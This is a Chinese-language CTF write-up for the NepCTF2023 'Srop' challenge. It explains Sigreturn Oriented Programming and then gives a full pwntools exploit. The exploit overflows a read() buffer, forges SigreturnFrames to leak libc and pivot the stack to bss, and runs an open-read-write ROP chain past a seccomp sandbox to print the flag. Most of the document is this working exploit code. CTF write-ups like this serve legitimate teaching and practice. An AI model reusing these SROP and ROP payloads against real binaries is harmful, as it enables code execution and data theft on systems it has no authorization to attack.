SROP
简单介绍
SROP,即 Sigreturn Oriented Programming,正是利用了 Sigreturn 机制的弱点,来进行攻击。
在执行 sigreturn 系统调用的时候,不会对 signal 做检查

简单来说就是通过sigreturn的系统调用0xf的syscall,将所有寄存器恢复成预先设置好的样子。通过栈溢出设定,从而达成控制程序的目的。出内核态时候而sigreturn本身是用来恢复上下文的
NepCTF2023 Srop
先checksec

RELRO全开 got表不能改;NX开,栈不可执行
题目给了ld和libc,设置一下
patchelf --set-interpreter ld路径 ./pwnpatchelf --replace-needed libc.so.6 libc路径 ./pwnldd ./pwn 题目本身给的代码很简单


一个简单的系统调用read栈溢出
此处贴出常用系统调用
| 函数 | 调用号 |
|---|---|
read |
0 |
write |
1 |
open |
2 |
rt_sigreturn |
0xf |
execve |
59 |
同时注意到开了沙箱

目标就明确了 使用srop通过orw进行flag的读取

看一下syscall对准一下寄存器
贴出exp
from pwn import *
from pwn import p64,u64
debug = 1
gdb_is = 1
# context(arch='i386',os = 'linux', log_level='DEBUG')
context(arch='amd64',os = 'linux')
if debug:
context.terminal = ['/mnt/c/Users/sagiriking/AppData/Local/Microsoft/WindowsApps/wt.exe','nt','Ubuntu','-c']
r = process("./pwn")
else:
host = "nepctf.1cepeak.cn"
r = connect(host,32552)#远程连接
gdb_is =0
if gdb_is:
# gdb.attach(r,'b* 0x00401571')
gdb.attach(r)
pause()
pass
elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')
pop_rdi = 0x000400813
pop_rsi_r15 = 0x000400811
bss_addr = 0x601050
base_addr = bss_addr + 0x8
syscall_addr = elf.sym['syscall']
payload= b'A'* 48 + b'junkjunk'
syscall_got = elf.got['syscall']
#使用pwntools的SigreturnFrame()帮助构造结构体
frame_write = SigreturnFrame()
frame_write.rdi = 1
frame_write.rsi = 1
frame_write.rdx = syscall_got #泄露libc地址
frame_write.rcx = 0x8
frame_write.rip = syscall_addr
frame_write.rsp = base_addr + 0xF0 + 0x8 * 4 #一个SigreturnFrame()大小0xF0 控制栈顶
frame_read_data = SigreturnFrame()
frame_read_data.rdi = 0 #由于syscall之前对寄存器做了移位,所以不是rax
frame_read_data.rsi = 0
frame_read_data.rdx = bss_addr
frame_read_data.rcx = 0x228
frame_read_data.rsp = base_addr #由于不知道栈的地址,将其迁移到bss段进行控制
frame_read_data.rip = syscall_addr #直接调用syscall运行设置的函数
payload += p64(pop_rdi)+ p64(0xf) +p64(syscall_addr) + bytes(frame_read_data)
r.send(payload)
time.sleep(1)
#----------------------------------------
frame_read_data = SigreturnFrame()
frame_read_data.rdi = 0
frame_read_data.rsi = 0
frame_read_data.rdx = bss_addr
frame_read_data.rcx = 0x8 * 30
frame_read_data.rsp = base_addr - 0x8
frame_read_data.rip = syscall_addr
payload_read = p64(pop_rdi)+ p64(0xf) +p64(syscall_addr) + bytes(frame_read_data)
payload = p64(0) + p64(pop_rdi)+ p64(0xf) +p64(syscall_addr) + bytes(frame_write) + payload_read
r.send(payload)
#泄露libc地址
#----------------------------------------
libc_syscall_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc.address = libc_syscall_addr - libc.sym['syscall']
info(f'libc_syscall_addr = {hex(libc_syscall_addr)}')
info(f'system = {hex(libc.sym["system"])}')
pop_rsi = 0x00023a6a + libc.address
pop_rdx = 0x000001b96 + libc.address
syscall_addr = 0x0011B537 + libc.address #此处将syscall的移位去掉了
pop_rax = 0x001b500 + libc.address
time.sleep(1)
#ORW
payload = p64(pop_rdi) + p64(bss_addr + 0x8 * 25) + p64(pop_rsi) + p64(0)+ p64(pop_rax) + p64(2) + p64(syscall_addr)
#0x00601009找的data段的地址
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(0x00601009) + p64(pop_rdx) + p64(0x40) + p64(pop_rax) + p64(0) + p64(syscall_addr)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(0x00601009) + p64(pop_rdx) + p64(0x40) + p64(pop_rax) + p64(1) + p64(syscall_addr)
payload += b'flag'.ljust(8, b'\x00')
#bss_addr + 0x8 * 25 是flag的位置
r.send(payload)
r.interactive()srop控制后泄露libc地址,再使用orw打印出flag。
泄露libc目的:
泄露libc后可利用的rop gadget更多了,方便orw